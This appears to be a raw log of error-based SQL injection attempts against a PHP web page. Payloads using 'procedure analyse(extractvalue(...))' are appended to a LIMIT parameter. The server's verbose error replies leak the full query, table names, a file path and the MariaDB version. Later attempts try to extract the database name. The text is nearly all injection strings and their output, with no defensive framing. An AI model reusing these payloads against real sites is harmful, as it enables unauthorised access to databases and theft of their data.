test.com/abc.php?query=1&limit=3 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

<br />
<b>Fatal error</b>:  Wrong SQL: SELECT e.classe, e.idebike,COALESCE(fm.descfamigliameccanica,'----'), e.modello, e.anno_specifiche

        FROM prodotti e

        LEFT JOIN famiglia_meccanica fm on e.idfamigliameccanica=fm.idfamigliameccanica

        LEFT JOIN marchi m on e.idmarchio=m.idmarchio

        LEFT JOIN sex s on e.idsex=s.idsex

        LEFT JOIN tipo_kit k on e.idtipokit=k.idtipokit

        left join tipo_kit_fam kf on kf.idfamiglia=k.idfamiglia

        LEFT JOIN tipo_display d on e.iddisplay=d.iddisplay



        WHERE e.attivoA>0  AND CONCAT_WS(' ',e.modello, e.display,

                fm.descfamigliameccanica, m.marchio, kf.famiglia) LIKE '%1%' order by 2,3 LIMIT 0, 3 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);<br>Error: 1105 XPATH syntax error: ':10.3.10-MariaDB' in <b>/var/www/inc/abc.php</b> on line <b>98</b><br />

https://test.com//abc.php?query=1&limit=3 procedure analyse(extractvalue(rand(),concat(0x3a,select database())),1);

<br />
<b>Fatal error</b>:  Wrong SQL: SELECT e.classe, e.idebike,COALESCE(fm.descfamigliameccanica,'----'), e.modello, e.anno_specifiche

        FROM prodotti e

        LEFT JOIN famiglia_meccanica fm on e.idfamigliameccanica=fm.idfamigliameccanica

        LEFT JOIN marchi m on e.idmarchio=m.idmarchio

        LEFT JOIN sex s on e.idsex=s.idsex

        LEFT JOIN tipo_kit k on e.idtipokit=k.idtipokit

        left join tipo_kit_fam kf on kf.idfamiglia=k.idfamiglia

        LEFT JOIN tipo_display d on e.iddisplay=d.iddisplay



        WHERE e.attivoA>0  AND CONCAT_WS(' ',e.modello, e.display,

                fm.descfamigliameccanica, m.marchio, kf.famiglia) LIKE '%1%' order by 2,3 LIMIT 0, 3 procedure analyse(extractvalue(rand(),concat(0x3a,select database())),1);<br>Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'select database())),1)' at line 11 in <b>/var/www/inc/abc.php</b> on line <b>98</b><br />

https://test.com//abc.php?query=1&limit=3 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);

....
Error: 1105 Only constant XPATH queries are supported in
....